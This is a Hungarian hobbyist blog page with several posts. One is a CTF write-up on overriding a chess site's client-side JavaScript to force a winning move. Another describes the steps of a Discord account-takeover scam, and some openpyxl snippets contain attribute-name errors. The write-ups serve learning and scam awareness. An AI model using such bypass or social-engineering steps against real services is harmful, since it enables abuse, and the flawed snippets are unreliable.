HTML

Az élet kódjai

Csináld maga. Senki nem csinálja meg helyetted.

Friss topikok

  • Travis.CG: @hagymi: Úgy emlékszem nem működött, mert dátum volt a cella típusa, nem string. (2026.03.31. 12:20) Excel, mint büntetés
  • Travis.CG: Frissítés: Az operáció nem teljesen sikerült. A képernyő bizonyos időnként elsötétül, csak a hátté... (2026.01.11. 11:30) Iphone képernyő és aksi csere
  • Travis.CG: @webhauser: Én nem vagyok jó programozó. Nem vennéd sok hasznomat. (2025.09.18. 10:26) T0ad 2025
  • Travis.CG: Annyiban én is hibás vagyok, hogy könnyen előjönnek belőlem negatív posztok, ezt akartam ellensúly... (2025.05.22. 19:34) Ne csak a rosszat halljátok
  • sdani: Oh... néha eszembe jut, hogy az EBI után esetleg vissza kellene menni valamennyire az akadémiai vo... (2025.03.18. 16:58) Pontos, jól behatárolt célok

Fools Mate CTF

2026.07.10. 10:25 Travis.CG

Ez a feladat remekül példázza, miért nem lehet megbízni a kliens oldali ellenőrzésekben. A feladat, hogy mattot kell adni a számítógépnek, képletesen és szó szerint.

foolmate1.png

A weboldalon egy sakk feladvány van. Nagyon egyszerű felállással, gyakorlatilag egy lépésre, hogy mattot adjunk a gépnek. De jajj! Amint megtesszük a győztes lépést, rögtön megjelenik egy gonosz üzenet, hogy a gépünk le fog fagyni, ha megtesszük. Minden más lépést enged a gép.

foolmate2.png

Úgy tűnik, mi kaptunk mattot. Vagy mégsem? Hekkeljük meg a rendszert! A böngésző developer arzenálját nyissuk meg. Én most Mozillán mutatom meg a lépéseket, de más böngészőknek is vannak hasonló funkciói. Először nézzük meg az js/app.js-t. Jó sok sorból áll. Keressünk rá az üzenetre. Láthatjuk, hogy kliens oldalon ellenőrzi a lépéseket.

foolmate3.png

A Web Developer Debugger fülén keressünk rá az app.js-re. Jobb egérgomb után válasszuk ki az Add script override menüpontot.

foolmate4.png

Lementhetjük a szkriptet egy könyvtárban. Nyissuk meg kedvenc szövegszerkesztőnket, és vegyük ki a feltételt, vagy módosítsuk a visszatérési értéket. Ránk van bízva. Mentés, majd frissítsük a weboldalt. A módosított javascript fog lefutni, és megadhatjuk a kegyelem döfést!

Nagyon jó kis CTF volt, és még folytatása is van! Fools Mate, Revenge. Az már nem lesz ilyen egyszerű.

Szólj hozzá!

Címkék: biztonság

Kvarcjáték készítés (1. rész)

2026.07.07. 16:30 Travis.CG

Találtam egy kvarcjátékot a földön. Gondoltam megmutatom a lányomnak, hogy annak idején, mikor még nem volt Roblox, mivel ütöttük el az időt. Bár, őszintén megmondva, nekem csak egy kvarcjátékom volt, és azzal sem tudtam játszani, mert nem értettem, mit kell csinálni. A szegmentált kijelző miatt sokszor a fantáziánkra volt bízva, mi is történik. Sajnos a talált kvarcjáték már nem működött, és nem tudtam kitalálni, mi lehet a problémája. Viszont szöget ütött a fejembe, hogy lehetne-e készíteni egyet?

A neten sok kézikonzol építő van, de mindegyikük a Gameboy-t akarja újra megépíteni egy Raspberry segítségével. Én valami jóval egyszerűbbet akarok. Picit, monokrómot, pittyegőt. Két játék gombbal, és két játék váltó gombbal, amilyen egy klasszikus kvarcjáték volt. Semmi joystic, semmi D-pad. A régi kvarcjátékokkal szemben ezen több játék is lesz, a grafikánál pedig elhagyom a szegmentált kijelzőt, mert az már annak idején is gáz volt. Az eredmény majd egy wild lesz valamelyik demópartira.

Emlékeztem, hogy a vackaim között van egy apró mikrokontroller, és egy pici 1,3"-os OLED kijelző. Egy fickótól vettem évekkel ezelőtt, aki megunta a bütykölést, és egyben eladott mindent. Fél óra keresgélés után meg is lett mindkettő, még bontatlan csomagolásban!

A mikrokontroller egy ESP32 dev board, de még a mikousb csatolóval. Mondtam, hogy régi. A board NodeMCU32-S kompatíbilis, de a neten látható képek alapján valami hamisítvány lehet, mert hiányoznak a feliratok róla. A pin kiosztás viszont stimmel, ezért tudom használni. Az OLED kijelző típusát nem tudtam meghatározni.  Egy fél napot elszúrtam azzal, hogy a legegyszerűbb kódot feltöltsem az ESP32-re. Nyomkodtam a boot gombot, állítgattam a Linuxon a jogosultságokat, végül kiderült, hogy rossz USB kábelt használtam, amivel csak tölteni lehet, adatot átvinni nem.

Utána jött az OLED szenvedés. Mivel nem tudtam a típusát, random Adafruit könyvtárakat próbálgattam, hátha egyik működni fog. Végül az SH110X volt a befutó, mert a példakódot le tudtam futtatni.

Először egy prototípus board-on raktam össze a rendszert. Az ESP32-nek számos kimenete van, mindegyik több dolgot is tud. Egyes portokat nem is lehet használni. Vannak pull up ellenállások is, de ezt sem tudja mindegyik input pin, és természetesen az első próbálkozásra csak olyan pinre kötöttem a gombokat, amiknek nem volt ilyen funkciója.

A második kötés már megfelelően kezelte a gombokat. Elkezdtem példa kódokat írni, hogy érezzem a fejlesztés folyamatát. A platform.io vs Arduino IDE harcban elsőre az Arduini IDE nyert. Először nem is volt semmi gond. Mikor a kód három új include állománnyal bővült, akkor már éreztem az IDE korlátait. Első körben maradok ennél a megoldásnál, ha már halálra fog idegesíteni, majd átváltok platform.io-ra. Most haladni szeretnék.

Olyan játékokat akartam, amelyeket lehetett két gombbal irányítani. Az első játék a jól ismert T-Rex ugrálás. Nem bonyolítottam túl, egy fajta kaktusz van, egy dinó. Ehhez elég egy gomb is. A második egy sudoku volt. A képernyő felbontása miatt csak 6x6-os jöhetett szóba. Két gombbal lehet kezelni, az egyikkel kiválasztjuk a cellát, a másikkal a pörgetjük a számokat.

Éppen ehhez a blogbejegyzéshez készítettem képeket, amikor a képernyő elkezdett furcsán viselkedni. Először csak vibrált, majd teljesen elsötétült. Ezért nem tudtam javított fotót lőni. Be kell érnetek ezzel. kvarcjatek1.jpgRemélem sikerül majd megoldanom a problémát.

Szólj hozzá!

Címkék: programozás demoscene barkácsolás

A gondolkodás tokenekre cseréléséről

2026.06.27. 17:51 Travis.CG

Az adattisztítás egy elég fontos, viszont rettenetesen unalmas része az adatfeldolgozásnak. Ha a tisztítási lépés sok adatot érint, célszerű rá programot írni, ami elvégzi helyettünk. Ez az én esetemben egy iteratív folyamat szokott lenni, mert minden egyes lépés után ellenőrzöm, hogy a program nem módosított-e valamit azokon az adatokon, ahol nem kell módosítani semmit. Például ha az NA-t kicserélem 0-ra, akkor a nátrium vegyjelét hagyja békén.

Előbb-utóbb eljutok arra a pontra, amikor a programkód módosítás több időt vesz igénybe, mint szövegszerkesztővel végigmenni a kérdéses cellákon, és kézzel átírni, amit kell.

Ezzel csak azt akarom mondani, hogy tudni kell, mikor ne használjunk egy eszközt vagy módszert.

Az LLM-ek megjelenésével hirtelen nagyon sok, bonyolultnak tűnő feladatot lehet megoldani egy olyan módszerrel, ami közelebb áll hozzánk: emberi kommunikációval. Ez egy teljesen jogos igény, még Scotty, az Enterprise űrhajó gépésze is beszélni kezdett a PC-hez.

A fejlődés nagyon gyors. Részt vettem egy nagyképűen csak AI képzésnek nevezett izén - ahol csak LLM-ekről beszéltek - és adtak egy feladatot: készítsünk élvezhető kigyó játékot Excelben, VBA-t használva. A képzésen abból is látszott, hogy én voltam a legöregebb, hogy én még programoztam VBA-ban. Mindegy, elkalandoztam, a korral jár. Az élvezhető kitételt én úgy valósítottam meg, hogy kértem különböző power-up-okat, és egy ellenséget, ami üldözi a kígyót. Az első verzió nem működött, mert az irányításra nem reagált a játék. Mikor ezt megírtam neki, kijavította. A második verzióban volt egy szintaktikai hiba, amit kézzel kijavítottam (az előnye, ha valaki érti a VBA-t), és ezzel volt egy működő snake játékom Excelben.

Mint kiderült, ezt a példát azért adta az oktató, hogy lássuk, hogy az LLM-ek nem tudnak mindent megoldani. Nekem meg ott csücsült a gépemen egy működő verzió. Vagyis az oktató sem volt tisztában a jelenlegi LLM-ek képességeivel.

Az oktató egyébként magáról azt állította, hogy LLM-szkeptikus, de én ezt egy felvett szerepnek láttam, amivel az ódzkodó hallgatókat akarta bevonni. Az oktató ugyanis annyira szkeptikus volt, hogy már nem olvas könyvet, csak a könyvből készített podcastot hallgatja meg, amit nyelvi modell készít. LLM felügyeli az egészségét, mert élete minden percét elküldi egy agent-nek, ami figyelmezteti, ha egy héten túl sokat dolgozik. (Külön kihangsúlyozta, hogy 70 óra volt, amikor jelzett neki a program, hogy mindenki érezze, milyen nagy a munkabírása.)

Egy másik feladatban mikrobiológiai adatokat kellett elemezni. Itt egyértelműen elhasalt a rendszer, nem jött rá, hogy log traszformációra van szükség. Persze az oktató sem tudta, úgy beszélt az eredményekről, mintha minden rendben lenne a kiadott táblázatokkal.

A képzésen beszélt egy másik ember is, aki saját elmondása szerint "nem hagy tokeneket kihasználatlanul". Ezt a fajta hozzáállást a prog.hu-n is láttam, ahol egyik ember úgy mutatta, hogy mennyire jobb fejlesztő, hogy már három nap alatt elhasználta az egész havi token adagját.

Megmondom őszintén, nem értem, hogy a token használat miért jelenti a produktivitás fokmérőjét. Ez olyan, mintha egy katona Schwarzeneggerkét elhasználná az összes lőszert. Vajon ő a jobb, vagy a mesterlövész, akinek az a mottója, hogy "egy golyó, egy célpont"?

Régebben az volt az előnyös, ha egy problémát kevesebb erőforrással oldottunk meg. Ez a token égetés mintha pontosan az ellenkezője lenne. Hatalmas erőforrásokkal, pénzbeni ráfordítással oldanánk meg olyan problémákat, amelyeket korábban meg tudtunk oldani magunk is.

Hozzám is eljutnak a csoda-számba menő hírek a bugokról, amik évtizedekig rejtve ülnek a kódban, míg az aktuális csúcskategóriás modell meg nem találta a másodperc tört része alatt. Biztos van ilyen. Én a magam részéről ezekkel  a csodákkal nem találkoztam, de tanúságos esetekkel igen:

Az egyik munka során osztályoznom kellett a promótereket méret szerint. Nem viccelek, azt akarták, hogy keressek összefüggést a promóter mérete és a kísérleti csoportok között. Ez biológiailag értelmezhetetlen, de már megtanultam, hogy nem szó szerint kell érteni a biológusok igényeit. Ezért, hogy ne legyek nagyon támadó, visszakérdeztem, hogy mi az a promóter méret, és hogyan lehet meghatározni?

A biológusok nem válaszoltak, hanem megkérdezték a ChatGPT-t, és elküldték a válaszát. A válaszban szép kódok voltak, adatbázis hivatkozások, tanácsok. Egyetlen gond volt vele: az egésznek nem volt semmi értelme. A nyelvi modell szerint a CAGE adatbázisból kell kiszednem a promóter szélességre vonatkozó információkat. A válasszal több baj is van. Először is, a CAGE transzkripciós start helyeket gyűjt, nem promótereket. Másrészt a génszabályozás térben és időben változik, ezért a promóter nem egy fix képződmény.

Egy másik munka során cikkek alapján kellett eldönteni génekről, hogy tisztán carrier-ek (recesszív formában okoznak gondot), vagy heterozigóta alakban is mutatnak klinikai tüneteket. Azért döntöttünk a nyelvi modellek mellett, mert a genetikussal való beszélgetésnél kiderült, hogy az OMIM adatbázis hiába tartalmaz öröklésre vonatkozó információkat, a különböző fenotípusok szabad-szavas leírásai részletesebb képet adhatnak.

A problémára Claude workflow-t vetettünk be. Kértük, hogy cikkekkel támassza alá az érvelést, de használhat adatbázisokat, stb. Elkezdett dolgozni. Készített ügynököket, szkripteket, leírásokat. Az egésznek alig látszott az értelme. Az egyik szkript például tartalmazott egy 100 soros statikus változót, majd futtatás után kiírta teljes egészében. Más szkriptek indokolatlan kulcs-érték transzformációkat végeztek.

Először elhülve néztem káosz ezen megnyilvánulását, majd leesett, mi történt! Bioinformatikusként, amikor egyik adatot egy másik formátumra hozom, gyakran használok hash-eket. Ezt utánozza ez a szerencsétlen! Nem azért, mert szükség van rá, hanem mert ezt tartalmazza a tanuló adat. Újabb bizonyíték, hogy a nyelvi modellek - hiába jönnek a marketing szövegek a "reasoning", "deep thinking" és egyéb hangzatos szavakkal - nem gondolkodnak.

Visszatérve az eredményekre: több ügynök is ugyan azokat a cikkeket találta meg, de másképp értelmezték. Valahogy úgy, mint a politikusok, akik csak a saját narratívájukat hajtogatják, bármilyen hír hallatán.

Az eredmény nagyjából jó volt. Arra nem volt elég, hogy elfogadjuk azt, nem volt elég részletes, hogy esetleg kézzel tovább finomítsuk. Egyszerűen csak elpazaroltunk rá egy csomó időt, pénzt, bármilyen látható eredmény nélkül.

Személyes tapaszatalatom, hogy az LLM alapú munkák kétféle módon fejeződnek be: vagy elfogy a token, vagy rámondják az eredményre, hogy "ez már elég jó". (Van egy harmadik eset is, amikor a főnök játszik az AI-val, majd átruházza a feladatot a beosztottjára, ha már megunta, de ez is visszavezethető az előző két esetre.)

Az eredmények hiába nem ütik meg a mércét, azért elég biztos vagyok benne, hogy a jövőben nem lesz szükség dedikált bioinformatikusra. Ha egy kísérletes biológusnak kijön egy elemzés végén a kedvenc génje, nem fog ellenőrizni semmit. Számukra ez már önmagában elég bizonyíték, hogy a módszer jó :-)

A programozókra is furcsa hatással van az LLM használata. A fent említett képzésen elmondta egyikük, hogy mióta Claude-ot használ, nem élvezi a munkáját. Nincs meg benne az a megelégedettség, hogy megoldott valamit. Az oktató annyit reagált rá, hogy ő is ismer programozókat hasonló érzésekkel, akik később át is mentek alternatív platformokra, ahol az LLM nem tud segíteni.

A demoscenén is van egyfajta ambivalens kapcsolat a kóderek és az LLM-ek között. Egyrészt ott van az a hozzáállás, hogy "demoban nem használunk LLM-t", de másrészt "a demóhoz használt toolba akarunk használni". Az indoklás az, hogy a demótool kódja repetitív, nem önkifejező, uncsi, stb. Ezek mind igazak, de az én véleményem, hogy minden tevékenységben van uncsi rész. A futbalista is szeret gólt rúgni, de előtte naponta végig kell csinálni az uncsi bemelegítést, amiben nem látszik, hogy ő milyen jó. Pont ugyan olyan gyorsan futja a bemelegítő kört, mint egy harmadosztályú játékos. A festő sem dob egy freskót a falra, hanem előtte vázlatokat készít, meg színeket kever.

Én senkinek nem akarom megmondani, hogy mit csináljon. Nem is én fogom megváltoztatni egy iparág szenderdjeit, munkamódszereit. Például nálunk a melóhelyen erősen ajánlott az LLM-ek használata. Olyasmiket mondanak, hogy "aki nem tud AI-t használni, annak nem lesz munkája máshol sem". Ez nettó hülyeség. Az LLM nem fog pipettázni, nem nyúl bele senki végbelébe, hogy kitapintsa a prosztatáját, és nem viszi ki biciklin a megrendelt kaját. Munka lesz, legfeljebb nem bioinformatikai.

De még mindig szeretek kódolni. Ha pedig szeretek valamit csinálni, miért mással csináltassam? Nem fogom a sportolást sem abbahagyni, csak azért, mert van targonca, meg elektromos roller. Biztosan lassabb leszek, mint az aktuális hype, de nem érdekel. A magyar demópartik száma elég kevés, úgyhogy tudom tartani a határidőket.

Szólj hozzá!

Címkék: filozofálás machine learning

Így próbálták ellopni a Discord fiókom

2026.06.07. 09:51 Travis.CG

A Moonshine Discord szerverén már egy ideje terjedt az infó, hogy egyes felhasználók fiókja felett átvették az irányítást, és onnan újabb támadásokat intéztek más felhasználók ellen. Érdekelt, hogy miként hajtják végre ezeket a műveleteket, de igazából senki nem tudott minden kérdésemre válaszolni. A beszélgetésekből csak annyi derült ki, hogy minden egy üzenettel kezdődik: a támadó véletlenül jelentette a felhasználót, és emiatt törölni fogják a hozzáférését. A többi lépésről nem szóltak, csak szokás szerint azt hajtogatták, hogy erős jelszó legyen, meg két faktoros autentikálás.

Pár nappal később az egyik ismerősöm megkérdezte, hogy tudnék-e neki segíteni. Nem tudtam, miről lehet szó, ezért azt válaszoltam, hogy persze. Ez után küldte el a jól ismert szöveget: Sok sírós emoji mellett elmesélte, hogy véletlenül jelentett, mint csalót, és ezért zárolni fogják a Discord hozzáférésemet, és blokkolni fogják az IP címemet. Eljött az én időm! Kezdődhet a tánc.

Mondtam neki, hogy ne bánkódjon, én tudok élni Discord nélkül. Ekkor jött a második lépés: Azt mondta, fel kellene vennem a kapcsolatot az adminnal, bizonyítani, hogy nem vagyok csaló. Azt válaszoltam, hogy ez rossz logika. Ha azt gondolják, hogy csaló vagyok, akkor nem fognak hinni nekem. Vegye fel ő a kapcsolatot az adminnal, és mondja meg, hogy tévedett. Erre persze nem tudott mit válaszolni, úgyhogy csak ismételte önmagát: Véletlenül jelentett, ezért el fogom veszíteni a Discor hozzáférésem. Azt mondta, azért jelentett véletlenül, mert a felhasználói nevem nagyon hasonlít egy csalóra, és véletlenül engem írt be. Utána adott egy felhasználó nevet, és azt mondta, hogy ő az admin, vele kell beszélnem. Bejelöltem, mint barátot, nagyon hamar visszajelölt. A profil tényleg úgy volt elkészítve, mint egy admin. Szép mosolygós fej, a leírásban az szerepelt, hogy 24/7. Az illetőnek nem írtam, ő nem kezdeményezett. Közben a netet is keresgéltem, és ezt találtam.

A hamis admin feladata, hogy rávegyen, hogy vagy változtassam meg az email címemet egy olyanra, amit ő kezel, vagy adjam meg az adataimat "ellenőrzés" céljából (név, jelszó, stb). Onnantól megszabadítanak a felhasználói fiókom kezelésének terhétől. Az email cím esetén bizonyára kér egy jelszó helyreállítást.

Még annyit írtam vissza a "barátomnak", hogy az admin szerint semmi baj a hozzáférésemmel, aztán blokkoltam mindkettőt.

Szólj hozzá!

Címkék: biztonság

openpyxl, mint büntetés

2026.05.31. 19:15 Travis.CG

Eddig azt gondoltam, hogy az Excel használata a legnagyobb büntetés, amit kiszabhatnak rám, de tévedtem. Ha létezik informatikus pokol, akkor ott lennie kell egy bugyornak, ahol az elkárhozott lelkek Excel cellákat formáznak sikertelenül. (A bugyor pontos helye valószínűleg az inkompatibilis API hívások összekapcsolása és a manuális függőség telepítés között lehet, ahol minden függőségnek további három, nem telepített függősége van.)

Nemrég realizálódott bennem, hogy a bugyornak további rétegei vannak. Itt már nem elég kézzel formázni, hanem csak és kizárólag programkódon keresztül lehet elérni a cellákat. A lelkek időtlen büntetésüket Python programok írásával töltik, ahol képeket akarnak cellákba szúrni. Hiszen mi is lenne a legfontosabb feladata egy táblázat kezelő programnak, ha nem az, hogy képeket, videókat és más haszontalan tartalmakat ágyazzunk bele? Máskülönben elég lenne egy CSV is, nem?

Az openpyxl tényleg mindent megtesz, hogy ezt a hasznontalan formátumot ne kézzel kelljen piszkálni. De a használata olyan, mint egy undorító, híg anyagot újságpapíron egyensúlyozni. Valamelyik szélén le fog csorogni egy kis szenny. A felszínen elég egyszerűenk tűnik:

from openpyxl import load_workbook

excel = load_workbook(filename)

Betöltöttünk egy Excel fájlt, ami viszont több munkafüzetet, vagy mi a fenét tartalmaz.

sheet = excel.active
new_sheet = excel.create_sheet("Fancy")
copy = excel.copy_worksheet(sheet)

Az első példa betölti az aktív lapot, a második sor létrehoz egy újat, a harmadik pedig egy másolatot készít egy meglévő lapról. Fontos megjegyezni, hogy ez a másolat nem 100%! Tapasztalatom szerint csak azokat a tulajdonságokat másolja át, amelyek az openpyxl-ben implementálva vannak. Például hiába teszek a cellába képet az Excellel, azt nem fogja átmásolni a metódus.

 A cellákat a cell metódussal érjük el:

cell = new_sheet.cell(column = 1, row = 1)

Az indexelés 1 alapú, ne kérdezzétek, miért. Egy cellának rengeteg tulajdonsága van. Van például értéke (value), betűtípusa (font) és más tulajdonságai, amit a dokumentáció is részletesen leír. Ha a cellák méretét akarjuk megváltoztatni, azt nem a cell változón keresztül lehet megtenni, hanem a sheet-en keresztül:

new_sheet.row_dimension[1].height = 100
new_sheet.col_dimension["A"].width = 100

Megjegyzés: Ha iteráltatunk az összes oszlop/sor méreten, akkor csak azokhoz az elemekhez lesz numerikus érték beállítva, ahol nem alapértelmezett a méret. Különben None az eredmény. Vagyis, ott nincs méret. Értitek?

Ha csak ennyi lenne egy Excel, akkor nem is lenne nagy problémám, de vannak olyan entitások, hogy összevont cellák. Az összevont cellákat nem érjük el a cell metódussal. Azokat csak a merge_cell-el lehet elérni. De az összevont celláknak nem lehet értéket adni, mert csak olvashatóak. Ha értéket akarsz adni neki, akkor először szét kell választani őket (unmerge_cells), értéket adsz, majd újra összevonod őket. Nem nagyszerű? Itt vagytok még? Mert van tovább is, itt még nincs vége a mókának! A képekről még nem is beszéltünk!

Képeket így helyezhetünk el:

img = openpyxl.drawing.image.Image('image.png')
img.anchor = 'A1'
new_sheet.add_image(img)

Csak a cella pozícióját adhatjuk meg, semmi mást. A képet csak külső forrásból lehet betölteni. Itt fogyott el a lelkesedésem.

Szólj hozzá!

Címkék: programozás

Néhány gondolat a kritikus szemléletmódról

2026.05.24. 14:25 Travis.CG

Mai, felgyorsult világunkban azt veszem észre, hogy a gyorsétkezdék mintájára megjelentek a gyorsinfók is. Ahogy az étkezés világában megjelent a junkfood, úgy szerintem nyugodtan beszélhetünk a junkinfo-ról is. Ezek a könnyen, egy mondatba összefoglalt igazságok pont annyira nem tesznek jót a gondolkodásnak, ahogy az egészségünknek sem jó, ha kizárólag papírdobozos kaját eszünk, miközben sietünk valahova.

Könnyű lenne ezt is a nagy nyelvi modellekre kenni, ahogy tesszük ezt mindennel kapcsolatban mostanában, de a probléma korábban kezdődött, legalábbis a nyomait korábban is tapasztaltam. Ebben a posztban összegyűjttem néhány példát, ami megpróbál rávilágítani arra, hogy a kritikus gondolkodás nem csak a hétköznapokban, de még a tudományos életben sem magától értetődő. 

Műanyagot zabáló élőlények

Volt egy befulladt projekt, aminek a célja olyan baktériumok azonosítása/kitenyésztése, amelyek megélnek a műanyagon. Nem kell ecsetelnem, hogy műanyagok, mint szennyező elemek mekkora problémát jelentenek. A tipikus emberi megoldás: jöjjön valami, és egye meg, csak ne kelljen vele vesződni. (Képtelen vagyok megállni, hogy meg ne említsem a 80-as évek egyik nagy hoaxát, az Olajfalókat. A szennyezést ez a kis lény a film szerint felzabálta.)

A szakirodalom átnézése után kiderült, hogy annyi baktérium eszik műanyagot, hogy a kínaiak már külön adatbázist hoztak létre, hogy ezt a rengeteg tudást böngészni lehessen. Ebben a pillanatban úgy látszott a projekt nyitott kapuka dönget. El is kezdtük böngészni az adatbázist. És itt kezdődtek a gondok.

Előre leszögezem, hogy nem néztem át a teljes adatbázist, csupán egy baktérium törzsel kerestünk, mert a csoport azzal a törzsel rendelkezik átfogó ismeretekkel. Ahogy nézegettem az adatbázist, elkezdett motoszkálni a fejemben egy gondolat: Műanyag zabáló baktérium márpedig nincs. Olyan baktérium, ami termel valami vegyületet, ami akár még a műanyagot is bonthatja, olyan lehet, de olyan, ami megeszi, és nem kér mást enni vacsira, olyan szerintem nincs.

A cikkek legtöbbje Indiából, Iránból, Kenyából, és persze Kínából származik. Habár ezekben az országokban is folyik remek kutatás, furcsa, hogy egyetlen nyugati országból sincs hasonló vizsgálat. (Talán azért, mert a fejlett országok a szemetüket ide szállítják?)

Az egyik random kiválasztott cikk például alig talált szignifikáns különbséget a baktériumok által megcsócsált műanyag és a kontroll között. Értem én, hogy a cikkben a 0,043-as p-érték kisebb, mint 0.05, de azért ez nem egy erős bizonyíték.

Egy másik cikk, épp ellenkezőleg, mindenhol műanyag bontó baktériumokat talált. Egyszerűen az összes általuk izolált baktérium bontotta a műanyagot! Én ezt nem is értem. Ha minden megeszi a műanyagot, hogyhogy nem esik szét a billentyűzet az asztalomon? Magyarországon nem működnek? Elképzelhető, hogy Tanzániában nem érdemes kefírt venni, mert mire hazaérsz, a baktériumok szétrágják a poharat.

Mikrobiom, mint korbecslés

Ezt az előadást a tavalyi bioinformatika konferencián láttam. Az életkort a mikrobiom alapján akarták becsülni. Az előadás során egy csomó vízszinte korrelációs egyenest láttam. Szerencsétlen PhD hallgató mindezt azzal magyarázta, hogy az adatok "zajosak". Én a hallgatóság soraiban azzal magyaráztam a látottakat, hogy nincs korreláció. Cikk azóta sem készült belőle, vagy csak nem találtam. A mikrobiom nagyon divatos téma, és biztos vagyok benne, hogy az életünk számos területével kapcsolatban áll az összetételük, de mindennel biztosan nem. Úgy látszik, az életkor nem ilyen.

Baktériumok a rákos sejtekben

Ebből a hülyeségből teljesen kimaradtam, ezért nagyon meglepődtem, amikor egy folyosói beszélgetés során az egyik kollégám arról próbált meggyőzni, hogy a tumor nem más, mint sejten belüli baktériumok gerillatevékenysége. A hitetlenkedésemre azt mondta, hogy a cikk a Nature-ben jelent meg. Nos, az újság reputációja egyáltalán nem bizonyíték. Ha mást nem, a Covid ezt bebizonyította. Kérdeztem tőle, miért maradna egy baktérium a sejt belsejében? Miért nem csinál semmit az immun rendszer?

Elkeztem utána járni a dolognak, de nem találtam az említett cikket. Mint kiderült, azért nem, mert visszavonták. Ezen kívül is jelentek meg cikkek a témában, én viszont továbbra is szkeptikus vagyok, egyszerűen azért, mert az egér kísérletek, amelyek kiértékelésében részt vettem, nem baktérium fertőzéssel indukálták a tumort, hanem DNS mutációkkal.

Végszó

Nem állítóm, hogy a fenti konklúzióim mind igazak. Elképzelhető, hogy fognak megjelenni olyan publikációk, ami alapján felül fogom vizsgálni az álláspontomat. Jelen pillanatban azt gondolom, hogy nagyon óvatosan kell kezelni, amit olvasunk. Jó lenne megbízni minden tudományos eredményben, de ehhez az is kellene, hogy cikkek szerzői is kritkusan álljanak a saját munkájukhoz.

Szólj hozzá!

Címkék: filozofálás

A Szörnygép (3. rész)

2026.05.17. 19:02 Travis.CG

Elkezdtem készíteni a Szörnygép házát. Sokat gondolkodtam, milyen anyagból, milyen megmunkálással dolgozzak, és végül úgy döntöttem, lemezből fogom elkészíteni. Racionális oka nem volt, csak szerettem volna kipróbálni az új gyémántvágót.

Először is, szükségem volt egy lemezre. A választás egy régi számítógép házra esett, aminek a burkolatát a lehetőségeimhez mérten egyenesre kalapáltam. A tervem az volt, hogy a Szörnygép háza két részből fog állni. Az alsó rész egy felül nyitott doboz lesz, az oldalfalakat hajlítani fogom. Erre fog jönni egy lapos tető, ami tartalmazza majd a billentyűzetet. Bár még ez is képlékeny, olyan is eszembe jutott, hogy a tető egy hűtőventillátort fog tartalmazni, mert úgy tapasztaltam, akkor nem fagy az USB.

Második lépésként sablont készítettem egy papírra, és arra mértem fel a doboz méreteit. Megpróbáltam kimérni az összes csatlakozónak a rést, kigondolni, hol lesznek a fülek, amire csavarozom majd a billentyűzetet.

u64case.jpg

A papírt ezután a lemezre ragasztottam, és megkezdődött a méretre vágás. Bevallom, nem számítottam rá, hogy ez ennyire lassú folyamat lesz. Bár a lemez csak 1 mm vastag volt, több hónapon keresztül értem el a végső formát. Bevallom, azt hittem a gyémántvágó úgy fogja vágni, mint a vajat. Csak akkor mertem nekilátni, ha a családom nem volt otthon, mert iszonyú hangos volt a gép. Többször gondoltam rá, hogy egyszerűen kidobom, nem érdekel, meddig jutottam, mert ez a módszer nem elég célravezető.

Végül győzött a türelem, és csak kivágtam. Nagyon örültem, hogy befejeztem ezt a részét. A vágás elég pontatlan lett, amit csiszolással igyekeztem orvosolni. Ez is elég hosszú idő volt, de már kevésbé frusztráló, mert láttam a haladást.

Továbbra is maradtak éles részek, de ez passzol a Szörnygép imázsához: vad, kiszámíthatatlan, durva. Ha nem vigyázol vele, vérezni fog az ujjad!

A tető rögzítéséhez csavarokat akartam használni, ezért anyacsavarokat forrasztottam a fülekre. Először a forrasztás sem sikerült, mire rájöttem, hogy a lemez festése az akadály. Úgyhogy lecsiszoltam a festéket is.

u64case2.jpg

Az anyacsavarok forrasztása után elkezdtem összehajtani a dobozt. Természetesen megfelelő szerszámok nélkül. A tervezési fázisban nem gondoltam, hogy ilyen nehezen hajlítható a lemez. A végén természetesen kiderült, hogy a mérések során nem vettem figyelembe a hajlítási rádiuszokat, úgyhogy az alaplap nagyon szűken fér csak el a házban. Annyira ki van centizve minden, hogy távtartóknak sem maradt.

Az utolsó lépés a festés volt. Ez volt a legegyszerűbb. Gyurmával befedtem a meneteket, nehogy a festék eltömítse azokat. Néhol kicsit sokat fújtam a felületre. Ebből is látszik, gyerekkoromban kimaradtak a falfirkás évek.

Mivel nem volt hely a távtartóknak, meg kellett oldani, hogy az alaplap forrasztásai ne érhessenek a házhoz. Eredetileg dekorgumit akartam használni szigetelőnek, csak sajnos a lányom elhasználta az összeset. A kacatok között turkálva találtam parafa lemezeket. Gondoltam, ez jó lesz!

Korábban szétszedtem egy működésképtelen billentyűzetet, amiből eltettem a gumi lábakat, mert olyan jól néztek ki. Most elővettem, és a ház aljára ragasztottam az összeset.

Elkészült! És megvágta az ujjam.

Szólj hozzá!

Címkék: barkácsolás

Letter CTF

2026.05.06. 19:48 Travis.CG

A mostani CTF egy kicsit más, mint az eddigiek, amikről írtam. Ez egy OSINT feladat, vagyis nyílt forrásokból kell információkat keresni. A feladat során két képet, és egy rövid szöveges üzenetet kapunk. A játék szerint találtunk egy sérült levelet, ahol a címzett, és a levél egy része is olvashatatlan. Nekünk ki kell találni, kiről szól a levél, és mi az irányítószám.

A boríték így néz ki:

letter.png

Egyérelmű, hogy francia eredetű. Az SNSM a parti őrség rövidítése, a címzett vezetékneve G-vel kezdődik. Mivel a levél többi része sérült, ezért a jobb alsó sarokban látható barcode-ot kezdtem vizsgálni. Megtudtam, hogy többféle postai rendszer van, ezek különböző jelöléseket használnak. Szerencsére van egy online dekódoló is.

A levél szövege szerint a címzett dédapja egy hőstettet hajtott végre nagyon fiatalon, és biztos büszke lenne a dédunokájára, aki szintén hajón szolgál. A szöveg természetesen franciául van, úgyhogy a fordítóprogramot sűrűn használtam.

newspaper_clipping.png

Az újság is elég olvashatatlan, de egy kis kereséssel rá lehet akadni az összes számra a Gallica-n. A különböző kulcsszavak segítségével viszonylag le lehet szűkíteni a lapok számát. Én az Amundsen-t használtam, mert ő utazott az Északi Sarkra, a Maroc, Herriot és urgente szavakat használtam még. Az újság OCR átiratát le lehet tölteni, és egy fordítóval lefordítani. Ekkor derül ki, hogy az egyik cikk arról a városról szól, ahová a levelet küldték. Sajnos a Gallica nagyon lassú, több órán keresztül ment a keresés. A helyzetet az sem könnyítette, hogy a lányom kapcsolgatta a router-t, mert nem ment neki valami játék.

